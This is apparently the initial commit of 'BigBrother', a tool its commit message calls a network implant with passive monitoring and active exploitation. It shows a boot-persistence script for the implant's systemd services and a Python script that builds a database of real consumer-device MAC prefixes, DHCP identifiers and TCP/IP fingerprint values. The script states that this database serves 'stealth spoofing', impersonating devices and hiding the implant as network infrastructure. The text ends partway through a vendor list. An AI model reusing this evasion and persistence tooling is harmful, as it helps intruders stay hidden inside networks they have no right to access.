Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
Executable
+174
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother autostart -- Enable/disable auto-start on boot
|
||||
# Manages: bigbrother-core, bigbrother-capture, bigbrother-watchdog
|
||||
#
|
||||
# Usage: autostart.sh enable | disable | status
|
||||
set -euo pipefail
|
||||
|
||||
# ── Colors ──────────────────────────────────────────────────────────────────
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
BOLD='\033[1m'
|
||||
NC='\033[0m'
|
||||
|
||||
info() { echo -e "${GREEN}[+]${NC} $*"; }
|
||||
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
|
||||
error() { echo -e "${RED}[-]${NC} $*"; }
|
||||
step() { echo -e "${CYAN}[*]${NC} ${BOLD}$*${NC}"; }
|
||||
|
||||
die() { error "$*"; exit 1; }
|
||||
|
||||
# ── Service list ─────────────────────────────────────────────────────────────
|
||||
SERVICES=(
|
||||
bigbrother-core.service
|
||||
bigbrother-capture.service
|
||||
bigbrother-watchdog.service
|
||||
)
|
||||
|
||||
# ── Root check ───────────────────────────────────────────────────────────────
|
||||
require_root() {
|
||||
[[ $EUID -eq 0 ]] || die "Must be run as root (try: sudo $0 $*)"
|
||||
}
|
||||
|
||||
# ── Usage ─────────────────────────────────────────────────────────────────────
|
||||
usage() {
|
||||
echo "Usage: $0 <command>"
|
||||
echo ""
|
||||
echo "Commands:"
|
||||
echo " enable -- Enable and start all BigBrother services at boot"
|
||||
echo " disable -- Disable and stop all BigBrother services"
|
||||
echo " status -- Show enabled/running state of all services"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# ── Helpers ──────────────────────────────────────────────────────────────────
|
||||
svc_is_enabled() {
|
||||
systemctl is-enabled "$1" 2>/dev/null | grep -q "^enabled$"
|
||||
}
|
||||
|
||||
svc_is_active() {
|
||||
systemctl is-active "$1" 2>/dev/null | grep -q "^active$"
|
||||
}
|
||||
|
||||
print_service_status() {
|
||||
local svc="$1"
|
||||
local enabled_label active_label
|
||||
|
||||
if svc_is_enabled "$svc"; then
|
||||
enabled_label="${GREEN}enabled${NC}"
|
||||
else
|
||||
enabled_label="${RED}disabled${NC}"
|
||||
fi
|
||||
|
||||
if svc_is_active "$svc"; then
|
||||
active_label="${GREEN}running${NC}"
|
||||
else
|
||||
active_label="${YELLOW}stopped${NC}"
|
||||
fi
|
||||
|
||||
printf " %-36s enabled=%-18b active=%b\n" \
|
||||
"$svc" "$enabled_label" "$active_label"
|
||||
}
|
||||
|
||||
# ── Commands ──────────────────────────────────────────────────────────────────
|
||||
cmd_enable() {
|
||||
require_root enable
|
||||
step "Enabling BigBrother services for auto-start..."
|
||||
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
# Check the unit file exists before attempting to enable
|
||||
if ! systemctl cat "$svc" &>/dev/null; then
|
||||
warn "$svc unit file not found -- skipping (run setup.sh first?)"
|
||||
continue
|
||||
fi
|
||||
|
||||
info "Enabling $svc..."
|
||||
systemctl enable "$svc" 2>&1 || warn " enable failed for $svc"
|
||||
|
||||
info "Starting $svc..."
|
||||
systemctl start "$svc" 2>&1 || warn " start failed for $svc (check: journalctl -u $svc)"
|
||||
done
|
||||
|
||||
echo ""
|
||||
step "Post-enable status"
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
print_service_status "$svc"
|
||||
done
|
||||
|
||||
echo ""
|
||||
info "BigBrother will start automatically on next boot"
|
||||
}
|
||||
|
||||
cmd_disable() {
|
||||
require_root disable
|
||||
step "Disabling BigBrother services..."
|
||||
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
if ! systemctl cat "$svc" &>/dev/null; then
|
||||
warn "$svc unit file not found -- skipping"
|
||||
continue
|
||||
fi
|
||||
|
||||
info "Stopping $svc..."
|
||||
systemctl stop "$svc" 2>&1 || warn " stop failed for $svc (may already be stopped)"
|
||||
|
||||
info "Disabling $svc..."
|
||||
systemctl disable "$svc" 2>&1 || warn " disable failed for $svc"
|
||||
done
|
||||
|
||||
echo ""
|
||||
step "Post-disable status"
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
print_service_status "$svc"
|
||||
done
|
||||
|
||||
echo ""
|
||||
info "BigBrother will NOT start automatically on next boot"
|
||||
}
|
||||
|
||||
cmd_status() {
|
||||
step "BigBrother service status"
|
||||
echo ""
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
print_service_status "$svc"
|
||||
done
|
||||
echo ""
|
||||
|
||||
# Summary line
|
||||
local enabled_count=0
|
||||
local running_count=0
|
||||
for svc in "${SERVICES[@]}"; do
|
||||
svc_is_enabled "$svc" && ((enabled_count++)) || true
|
||||
svc_is_active "$svc" && ((running_count++)) || true
|
||||
done
|
||||
|
||||
local total=${#SERVICES[@]}
|
||||
if [[ $enabled_count -eq $total ]]; then
|
||||
info "Auto-start: ${GREEN}ON${NC} (${enabled_count}/${total} enabled)"
|
||||
elif [[ $enabled_count -eq 0 ]]; then
|
||||
info "Auto-start: ${RED}OFF${NC} (${enabled_count}/${total} enabled)"
|
||||
else
|
||||
warn "Auto-start: partial (${enabled_count}/${total} enabled)"
|
||||
fi
|
||||
|
||||
if [[ $running_count -eq $total ]]; then
|
||||
info "Running: ${GREEN}YES${NC} (${running_count}/${total} active)"
|
||||
elif [[ $running_count -eq 0 ]]; then
|
||||
info "Running: ${RED}NO${NC} (${running_count}/${total} active)"
|
||||
else
|
||||
warn "Running: partial (${running_count}/${total} active)"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Main ─────────────────────────────────────────────────────────────────────
|
||||
[[ $# -ge 1 ]] || usage
|
||||
|
||||
case "$1" in
|
||||
enable) cmd_enable ;;
|
||||
disable) cmd_disable ;;
|
||||
status) cmd_status ;;
|
||||
-h|--help) usage ;;
|
||||
*) error "Unknown command: $1"; usage ;;
|
||||
esac
|
||||
Executable
+693
@@ -0,0 +1,693 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Build SQLite data databases for SystemMonitor.
|
||||
|
||||
Creates:
|
||||
- innocuous_macs.db : Consumer device MAC profiles for stealth spoofing
|
||||
- oui.db : IEEE OUI vendor lookup (schema only, populated at first run)
|
||||
- os_sigs.db : Passive OS fingerprint signatures (schema only)
|
||||
- dhcp_fingerprints.db : DHCP option 55 fingerprints (schema only)
|
||||
- ja3_fingerprints.db : JA3 TLS client fingerprints (schema only)
|
||||
|
||||
Called by setup.sh during bootstrap.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def create_innocuous_macs_db(db_path: str) -> None:
|
||||
"""Create innocuous MAC profiles database with ~50 real device profiles.
|
||||
|
||||
Each profile includes OUI, vendor, device_name, DHCP hostname pattern,
|
||||
DHCP vendor class, TTL, TCP window size, and OS family -- everything
|
||||
needed to impersonate the device at the network fingerprint level.
|
||||
|
||||
Table name and column names match what mac_manager.py queries:
|
||||
mac_profiles(device_type, device_name, vendor, oui, ...)
|
||||
"""
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS mac_profiles (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
device_type TEXT NOT NULL,
|
||||
oui TEXT NOT NULL,
|
||||
vendor TEXT NOT NULL,
|
||||
device_name TEXT NOT NULL,
|
||||
dhcp_hostname TEXT,
|
||||
dhcp_vendor_class TEXT,
|
||||
ttl INTEGER DEFAULT 64,
|
||||
tcp_window INTEGER DEFAULT 65535,
|
||||
os_family TEXT DEFAULT 'Linux'
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_mac_profiles_type ON mac_profiles(device_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_mac_profiles_oui ON mac_profiles(oui);
|
||||
""")
|
||||
|
||||
profiles = [
|
||||
# ── Streaming devices ───────────────────────────────────────────
|
||||
("streaming", "FC:65:DE", "Amazon", "Fire TV Stick 4K",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
("streaming", "A0:02:DC", "Amazon", "Fire TV Stick Lite",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
("streaming", "44:D5:F2", "Amazon", "Fire TV Cube",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
("streaming", "34:D2:70", "Amazon", "Fire TV Stick 4K Max",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
("streaming", "D8:31:34", "Roku", "Roku Ultra",
|
||||
"Roku-", "Roku/DVP-12.0", 64, 65535, "Linux"),
|
||||
("streaming", "B0:A7:37", "Roku", "Roku Express",
|
||||
"Roku-", "Roku/DVP-10.0", 64, 65535, "Linux"),
|
||||
("streaming", "10:59:32", "Roku", "Roku Streaming Stick 4K",
|
||||
"Roku-", "Roku/DVP-13.0", 64, 65535, "Linux"),
|
||||
("streaming", "CC:6D:A0", "Roku", "Roku Express 4K",
|
||||
"Roku-", "Roku/DVP-11.0", 64, 65535, "Linux"),
|
||||
("streaming", "54:60:09", "Google", "Chromecast",
|
||||
"Chromecast-", "Google", 64, 65535, "Linux"),
|
||||
("streaming", "F4:F5:D8", "Google", "Chromecast with Google TV",
|
||||
"Chromecast-", "Google", 64, 65535, "Android"),
|
||||
("streaming", "48:D6:D5", "Google", "Chromecast with Google TV 4K",
|
||||
"Chromecast-", "Google", 64, 65535, "Android"),
|
||||
("streaming", "A4:83:E7", "Apple", "Apple TV 4K",
|
||||
"Apple-TV", "AAPLBK", 64, 65535, "tvOS"),
|
||||
("streaming", "40:CB:C0", "Apple", "Apple TV HD",
|
||||
"Apple-TV", "AAPLBK", 64, 65535, "tvOS"),
|
||||
("streaming", "00:04:4B", "Nvidia", "Nvidia Shield TV Pro",
|
||||
"SHIELD-", "NVIDIA", 64, 65535, "Android"),
|
||||
("streaming", "48:B0:2D", "Nvidia", "Nvidia Shield TV",
|
||||
"SHIELD-", "NVIDIA", 64, 65535, "Android"),
|
||||
|
||||
# ── Smart TVs ──────────────────────────────────────────────────
|
||||
("smart_tv", "8C:79:F5", "Samsung", "Samsung Smart TV",
|
||||
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
|
||||
("smart_tv", "BC:14:EF", "Samsung", "Samsung QLED TV",
|
||||
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
|
||||
("smart_tv", "F0:6E:0B", "Samsung", "Samsung Frame TV",
|
||||
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
|
||||
("smart_tv", "A8:23:FE", "LG", "LG webOS TV",
|
||||
"LG-TV", "LG", 64, 65535, "webOS"),
|
||||
("smart_tv", "58:FD:B1", "LG", "LG OLED TV",
|
||||
"LG-TV", "LG", 64, 65535, "webOS"),
|
||||
("smart_tv", "38:8C:50", "LG", "LG NanoCell TV",
|
||||
"LG-TV", "LG", 64, 65535, "webOS"),
|
||||
("smart_tv", "D4:38:9C", "Vizio", "Vizio SmartCast TV",
|
||||
"VIZIO-TV", "Vizio", 64, 65535, "Linux"),
|
||||
("smart_tv", "C0:79:82", "TCL", "TCL Roku TV",
|
||||
"TCL-TV", "Roku/DVP", 64, 65535, "Linux"),
|
||||
("smart_tv", "C8:02:10", "Sony", "Sony Bravia Android TV",
|
||||
"Sony-TV", "Sony", 64, 65535, "Android"),
|
||||
("smart_tv", "04:95:E6", "Hisense", "Hisense Vidaa TV",
|
||||
"Hisense-TV", "Hisense", 64, 65535, "Linux"),
|
||||
("smart_tv", "E4:B3:18", "Insignia", "Insignia Fire TV",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
("smart_tv", "7C:2A:DB", "Philips", "Philips Android TV",
|
||||
"Philips-TV", "Philips", 64, 65535, "Android"),
|
||||
("smart_tv", "E0:91:53", "Toshiba", "Toshiba Fire TV",
|
||||
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
|
||||
|
||||
# ── Smart speakers / assistants ────────────────────────────────
|
||||
("smart_speaker", "48:A6:B8", "Sonos", "Sonos One",
|
||||
"Sonos-", "Sonos", 64, 65535, "Linux"),
|
||||
("smart_speaker", "5C:AA:FD", "Sonos", "Sonos Beam",
|
||||
"Sonos-", "Sonos", 64, 65535, "Linux"),
|
||||
("smart_speaker", "78:28:CA", "Sonos", "Sonos Move",
|
||||
"Sonos-", "Sonos", 64, 65535, "Linux"),
|
||||
("smart_speaker", "B8:E9:37", "Sonos", "Sonos Era 100",
|
||||
"Sonos-", "Sonos", 64, 65535, "Linux"),
|
||||
("smart_speaker", "30:FD:38", "Google", "Google Home Mini",
|
||||
"Google-Home-", "Google", 64, 65535, "Linux"),
|
||||
("smart_speaker", "1C:F2:9A", "Google", "Google Nest Hub",
|
||||
"Google-Nest-", "Google", 64, 65535, "Linux"),
|
||||
("smart_speaker", "20:DF:B9", "Google", "Google Nest Mini",
|
||||
"Google-Nest-", "Google", 64, 65535, "Linux"),
|
||||
("smart_speaker", "F8:0F:F9", "Google", "Google Nest Audio",
|
||||
"Google-Nest-", "Google", 64, 65535, "Linux"),
|
||||
("smart_speaker", "68:54:FD", "Amazon", "Echo Dot",
|
||||
"amazon-", "AmazonEcho", 64, 26883, "Android"),
|
||||
("smart_speaker", "74:C2:46", "Amazon", "Echo Show",
|
||||
"amazon-", "AmazonEcho", 64, 26883, "Android"),
|
||||
("smart_speaker", "F0:81:73", "Amazon", "Echo Pop",
|
||||
"amazon-", "AmazonEcho", 64, 26883, "Android"),
|
||||
("smart_speaker", "38:F7:3D", "Amazon", "Echo Studio",
|
||||
"amazon-", "AmazonEcho", 64, 26883, "Android"),
|
||||
("smart_speaker", "AC:63:BE", "Apple", "HomePod Mini",
|
||||
"HomePod-", "Apple", 64, 65535, "audioOS"),
|
||||
("smart_speaker", "28:6D:97", "Apple", "HomePod",
|
||||
"HomePod-", "Apple", 64, 65535, "audioOS"),
|
||||
("smart_speaker", "30:21:3B", "Bose", "Bose SoundLink",
|
||||
"Bose-", "Bose", 64, 65535, "Linux"),
|
||||
("smart_speaker", "04:52:C7", "Bose", "Bose Home Speaker 500",
|
||||
"Bose-", "Bose", 64, 65535, "Linux"),
|
||||
|
||||
# ── Smart home / IoT ──────────────────────────────────────────
|
||||
("iot", "4C:EB:D6", "Amazon", "Ring Doorbell",
|
||||
"Ring-", "Amazon", 64, 65535, "Linux"),
|
||||
("iot", "6C:63:9C", "Amazon", "Ring Spotlight Cam",
|
||||
"Ring-", "Amazon", 64, 65535, "Linux"),
|
||||
("iot", "18:B4:30", "Nest", "Nest Thermostat",
|
||||
"Nest-", "Nest", 64, 65535, "Linux"),
|
||||
("iot", "64:16:66", "Nest", "Nest Protect",
|
||||
"Nest-", "Nest", 64, 65535, "Linux"),
|
||||
("iot", "18:B4:30", "Nest", "Nest Cam Indoor",
|
||||
"Nest-", "Nest", 64, 65535, "Linux"),
|
||||
("iot", "00:17:88", "Philips", "Philips Hue Bridge",
|
||||
"Philips-hue", "Philips-hue", 64, 65535, "Linux"),
|
||||
("iot", "D8:0D:17", "TP-Link", "TP-Link Kasa Smart Plug",
|
||||
"TP-Link-", "TP-Link", 64, 65535, "Linux"),
|
||||
("iot", "B0:95:75", "TP-Link", "TP-Link Tapo Camera",
|
||||
"Tapo-", "TP-Link", 64, 65535, "Linux"),
|
||||
("iot", "2C:AA:8E", "Wyze", "Wyze Cam v3",
|
||||
"Wyze-", "Wyze", 64, 65535, "Linux"),
|
||||
("iot", "A4:DA:22", "Wyze", "Wyze Cam Outdoor",
|
||||
"Wyze-", "Wyze", 64, 65535, "Linux"),
|
||||
("iot", "44:61:32", "Ecobee", "Ecobee Thermostat",
|
||||
"ecobee-", "ecobee", 64, 65535, "Linux"),
|
||||
("iot", "50:14:79", "iRobot", "Roomba i7",
|
||||
"iRobot-", "iRobot", 64, 65535, "Linux"),
|
||||
("iot", "24:E1:24", "iRobot", "Roomba j7",
|
||||
"iRobot-", "iRobot", 64, 65535, "Linux"),
|
||||
("iot", "DC:A6:32", "Raspberry Pi", "IoT Sensor",
|
||||
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
|
||||
("iot", "B4:E6:2D", "Raspberry Pi", "IoT Gateway",
|
||||
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
|
||||
("iot", "B8:27:EB", "Raspberry Pi", "IoT Controller",
|
||||
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
|
||||
("iot", "2C:F4:32", "Raspberry Pi", "Raspberry Pi 5",
|
||||
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
|
||||
("iot", "98:CD:AC", "SimpliSafe", "SimpliSafe Hub",
|
||||
"SimpliSafe-", "SimpliSafe", 64, 65535, "Linux"),
|
||||
("iot", "CC:DB:A7", "Arlo", "Arlo Pro 4",
|
||||
"Arlo-", "Arlo", 64, 65535, "Linux"),
|
||||
("iot", "9C:21:6A", "TP-Link", "TP-Link Kasa Smart Switch",
|
||||
"TP-Link-", "TP-Link", 64, 65535, "Linux"),
|
||||
("iot", "78:11:DC", "Xiaomi", "Xiaomi Mi Smart Sensor",
|
||||
"Xiaomi-", "Xiaomi", 64, 65535, "Linux"),
|
||||
("iot", "04:CF:8C", "Xiaomi", "Xiaomi Roborock",
|
||||
"Roborock-", "Xiaomi", 64, 65535, "Linux"),
|
||||
("iot", "50:C7:BF", "TP-Link", "TP-Link Kasa Cam",
|
||||
"Kasa-", "TP-Link", 64, 65535, "Linux"),
|
||||
("iot", "B0:BE:76", "Eufy", "Eufy Doorbell",
|
||||
"eufy-", "Anker", 64, 65535, "Linux"),
|
||||
("iot", "58:D5:6E", "Wemo", "Wemo Smart Plug",
|
||||
"Wemo-", "Belkin", 64, 65535, "Linux"),
|
||||
("iot", "94:10:3E", "Belkin", "Belkin WeMo Switch",
|
||||
"Wemo-", "Belkin", 64, 65535, "Linux"),
|
||||
("iot", "38:2B:78", "Chamberlain", "myQ Smart Garage",
|
||||
"myQ-", "Chamberlain", 64, 65535, "Linux"),
|
||||
("iot", "00:1A:22", "Lutron", "Lutron Caseta Bridge",
|
||||
"Lutron-", "Lutron", 64, 65535, "Linux"),
|
||||
("iot", "D0:73:D5", "Lifx", "Lifx Smart Bulb",
|
||||
"LIFX-", "LIFX", 64, 65535, "Linux"),
|
||||
("iot", "7C:64:56", "Samsung", "SmartThings Hub",
|
||||
"SmartThings-", "Samsung", 64, 65535, "Linux"),
|
||||
("iot", "68:DB:F5", "August", "August Smart Lock",
|
||||
"August-", "August", 64, 65535, "Linux"),
|
||||
("iot", "B0:CE:18", "Honeywell", "Honeywell T6 Thermostat",
|
||||
"Honeywell-", "Honeywell", 64, 65535, "Linux"),
|
||||
|
||||
# ── Printers ──────────────────────────────────────────────────
|
||||
("printer", "3C:D9:2B", "HP", "HP LaserJet Pro",
|
||||
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
|
||||
("printer", "C8:B5:B7", "HP", "HP OfficeJet Pro",
|
||||
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
|
||||
("printer", "94:57:A5", "HP", "HP Color LaserJet",
|
||||
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
|
||||
("printer", "D0:BF:9C", "HP", "HP ENVY Pro",
|
||||
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
|
||||
("printer", "30:05:5C", "Brother", "Brother HL-L2350DW",
|
||||
"BRN", "Brother", 128, 8192, "Brother"),
|
||||
("printer", "00:80:77", "Brother", "Brother MFC-L2750DW",
|
||||
"BRN", "Brother", 128, 8192, "Brother"),
|
||||
("printer", "00:1B:A9", "Brother", "Brother DCP-L2550DW",
|
||||
"BRN", "Brother", 128, 8192, "Brother"),
|
||||
("printer", "2C:F0:5D", "Epson", "Epson EcoTank ET-4760",
|
||||
"EPSON", "EPSON", 128, 8192, "Epson"),
|
||||
("printer", "00:26:AB", "Epson", "Epson WorkForce Pro",
|
||||
"EPSON", "EPSON", 128, 8192, "Epson"),
|
||||
("printer", "64:EB:8C", "Canon", "Canon PIXMA G6020",
|
||||
"Canon", "Canon", 128, 8192, "Canon"),
|
||||
("printer", "18:0C:AC", "Canon", "Canon imageCLASS",
|
||||
"Canon", "Canon", 128, 8192, "Canon"),
|
||||
("printer", "00:C0:EE", "Kyocera", "Kyocera ECOSYS P2235dn",
|
||||
"KYOCERA", "KYOCERA", 128, 8192, "Kyocera"),
|
||||
("printer", "00:21:B7", "Lexmark", "Lexmark MS431dn",
|
||||
"Lexmark-", "Lexmark", 128, 8192, "Lexmark"),
|
||||
("printer", "00:00:74", "Ricoh", "Ricoh SP C261SFNw",
|
||||
"Ricoh-", "RICOH", 128, 8192, "Ricoh"),
|
||||
("printer", "00:00:AA", "Xerox", "Xerox VersaLink C400",
|
||||
"Xerox-", "XEROX", 128, 8192, "Xerox"),
|
||||
|
||||
# ── Gaming consoles ───────────────────────────────────────────
|
||||
("gaming", "7C:ED:8D", "Microsoft", "Xbox Series X",
|
||||
"Xbox-", "Microsoft", 128, 65535, "Windows"),
|
||||
("gaming", "C8:3F:26", "Microsoft", "Xbox Series S",
|
||||
"Xbox-", "Microsoft", 128, 65535, "Windows"),
|
||||
("gaming", "00:D9:D1", "Sony", "PlayStation 5",
|
||||
"PS5-", "Sony", 64, 65535, "FreeBSD"),
|
||||
("gaming", "98:B6:E9", "Sony", "PlayStation 4",
|
||||
"PS4-", "Sony", 64, 65535, "FreeBSD"),
|
||||
("gaming", "7C:BB:8A", "Nintendo", "Nintendo Switch",
|
||||
"Nintendo-", "Nintendo", 64, 65535, "Nintendo"),
|
||||
("gaming", "58:2F:40", "Nintendo", "Nintendo Switch OLED",
|
||||
"Nintendo-", "Nintendo", 64, 65535, "Nintendo"),
|
||||
("gaming", "34:AF:B3", "Valve", "Steam Deck",
|
||||
"steamdeck-", "Valve", 64, 29200, "Linux"),
|
||||
|
||||
# ── Phones / tablets ──────────────────────────────────────────
|
||||
("phone", "A4:83:E7", "Apple", "iPhone 15 Pro",
|
||||
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
|
||||
("phone", "40:CB:C0", "Apple", "iPad Air",
|
||||
"ipad", "dhcpcd-6.x.x", 64, 65535, "iPadOS"),
|
||||
("phone", "3C:06:30", "Apple", "iPhone 14",
|
||||
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
|
||||
("phone", "48:A9:1C", "Apple", "iPhone 13",
|
||||
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
|
||||
("tablet", "3C:28:6D", "Samsung", "Galaxy Tab S9",
|
||||
"Samsung-Tab", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "DC:1A:C5", "Samsung", "Galaxy S24",
|
||||
"Galaxy-S", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "84:25:19", "Samsung", "Galaxy S23",
|
||||
"Galaxy-S", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "50:55:27", "Google", "Pixel 8 Pro",
|
||||
"Pixel-", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "94:B8:6D", "Google", "Pixel 7",
|
||||
"Pixel-", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "4C:4F:EE", "OnePlus", "OnePlus 12",
|
||||
"OnePlus-", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("phone", "9C:2E:A1", "Xiaomi", "Xiaomi 14",
|
||||
"Xiaomi-", "dhcpcd-6.x.x", 64, 65535, "Android"),
|
||||
("tablet", "64:A2:F9", "Apple", "iPad Pro M2",
|
||||
"ipad", "dhcpcd-6.x.x", 64, 65535, "iPadOS"),
|
||||
|
||||
# ── Wearables ─────────────────────────────────────────────────
|
||||
("wearable", "38:EC:0D", "Apple", "Apple Watch Ultra",
|
||||
"Apple-Watch", "Apple", 64, 65535, "watchOS"),
|
||||
("wearable", "44:00:49", "Apple", "Apple Watch SE",
|
||||
"Apple-Watch", "Apple", 64, 65535, "watchOS"),
|
||||
("wearable", "C8:28:E5", "Fitbit", "Fitbit Sense 2",
|
||||
"Fitbit-", "Fitbit", 64, 65535, "FitbitOS"),
|
||||
("wearable", "E0:E0:FC", "Garmin", "Garmin Venu 3",
|
||||
"Garmin-", "Garmin", 64, 65535, "Linux"),
|
||||
("wearable", "CC:79:CF", "Samsung", "Galaxy Watch 6",
|
||||
"Galaxy-Watch", "Samsung", 64, 65535, "Tizen"),
|
||||
|
||||
# ── Network gear (hide as infrastructure) ─────────────────────
|
||||
("network", "B4:FB:E4", "Ubiquiti", "UniFi AP",
|
||||
"UAP-", "Ubiquiti", 64, 65535, "Linux"),
|
||||
("network", "78:8A:20", "Ubiquiti", "USG Gateway",
|
||||
"USG-", "Ubiquiti", 64, 65535, "Linux"),
|
||||
("network", "24:5A:4C", "Ubiquiti", "UniFi Switch",
|
||||
"USW-", "Ubiquiti", 64, 65535, "Linux"),
|
||||
("network", "14:CC:20", "TP-Link", "TP-Link Archer AX50",
|
||||
"TL-", "TP-Link", 64, 65535, "Linux"),
|
||||
("network", "AC:84:C6", "TP-Link", "TP-Link Deco M5",
|
||||
"Deco-", "TP-Link", 64, 65535, "Linux"),
|
||||
("network", "20:A6:CD", "Netgear", "Netgear Orbi",
|
||||
"Orbi-", "Netgear", 64, 65535, "Linux"),
|
||||
("network", "C4:04:15", "Netgear", "Netgear Nighthawk",
|
||||
"NETGEAR-", "Netgear", 64, 65535, "Linux"),
|
||||
("network", "60:38:E0", "Linksys", "Linksys Velop",
|
||||
"Linksys-", "Linksys", 64, 65535, "Linux"),
|
||||
("network", "04:D4:C4", "ASUS", "ASUS RT-AX86U",
|
||||
"ASUS-RT-", "ASUS", 64, 65535, "Linux"),
|
||||
("network", "F8:BB:BF", "eero", "eero Pro 6E",
|
||||
"eero-", "eero", 64, 65535, "Linux"),
|
||||
("network", "68:D7:9A", "eero", "eero 6+",
|
||||
"eero-", "eero", 64, 65535, "Linux"),
|
||||
("network", "74:DA:88", "TP-Link", "TP-Link Deco XE75",
|
||||
"Deco-", "TP-Link", 64, 65535, "Linux"),
|
||||
("network", "AC:9E:17", "ASUS", "ASUS ZenWiFi",
|
||||
"ASUS-", "ASUS", 64, 65535, "Linux"),
|
||||
|
||||
# ── NAS / home servers ────────────────────────────────────────
|
||||
("nas", "00:11:32", "Synology", "Synology DS920+",
|
||||
"DiskStation-", "Synology", 64, 29200, "Linux"),
|
||||
("nas", "00:11:32", "Synology", "Synology DS423",
|
||||
"DiskStation-", "Synology", 64, 29200, "Linux"),
|
||||
("nas", "24:5E:BE", "QNAP", "QNAP TS-464",
|
||||
"QNAP-", "QNAP", 64, 29200, "Linux"),
|
||||
("nas", "00:08:9B", "QNAP", "QNAP TS-253E",
|
||||
"QNAP-", "QNAP", 64, 29200, "Linux"),
|
||||
]
|
||||
|
||||
conn.executemany("""
|
||||
INSERT OR IGNORE INTO mac_profiles (device_type, oui, vendor, device_name,
|
||||
dhcp_hostname, dhcp_vendor_class,
|
||||
ttl, tcp_window, os_family)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
""", profiles)
|
||||
|
||||
conn.commit()
|
||||
count = conn.execute("SELECT COUNT(*) FROM mac_profiles").fetchone()[0]
|
||||
conn.close()
|
||||
print(f" innocuous_macs.db: {count} device profiles")
|
||||
|
||||
|
||||
def create_oui_db(db_path: str) -> None:
|
||||
"""Create OUI database schema (populated from IEEE list at first run)."""
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS oui (
|
||||
prefix TEXT PRIMARY KEY,
|
||||
vendor TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_oui_vendor ON oui(vendor);
|
||||
""")
|
||||
|
||||
# Seed with common OUIs used by profiles to ensure basic functionality
|
||||
# before the full IEEE list is downloaded
|
||||
seed_ouis = [
|
||||
("FC:65:DE", "Amazon Technologies Inc."),
|
||||
("A0:02:DC", "Amazon Technologies Inc."),
|
||||
("44:D5:F2", "Amazon Technologies Inc."),
|
||||
("D8:31:34", "Roku, Inc."),
|
||||
("B0:A7:37", "Roku, Inc."),
|
||||
("54:60:09", "Google, Inc."),
|
||||
("F4:F5:D8", "Google, Inc."),
|
||||
("A4:83:E7", "Apple, Inc."),
|
||||
("40:CB:C0", "Apple, Inc."),
|
||||
("8C:79:F5", "Samsung Electronics Co.,Ltd"),
|
||||
("BC:14:EF", "Samsung Electronics Co.,Ltd"),
|
||||
("A8:23:FE", "LG Electronics"),
|
||||
("58:FD:B1", "LG Electronics"),
|
||||
("D4:38:9C", "Vizio, Inc."),
|
||||
("C0:79:82", "TCL King Electrical Appliances"),
|
||||
("C8:02:10", "Sony Interactive Entertainment Inc."),
|
||||
("48:A6:B8", "Sonos, Inc."),
|
||||
("5C:AA:FD", "Sonos, Inc."),
|
||||
("30:FD:38", "Google, Inc."),
|
||||
("1C:F2:9A", "Google, Inc."),
|
||||
("68:54:FD", "Amazon Technologies Inc."),
|
||||
("74:C2:46", "Amazon Technologies Inc."),
|
||||
("4C:EB:D6", "Amazon Technologies Inc."),
|
||||
("18:B4:30", "Nest Labs Inc."),
|
||||
("00:17:88", "Philips Lighting BV"),
|
||||
("D8:0D:17", "TP-Link Technologies Co.,Ltd."),
|
||||
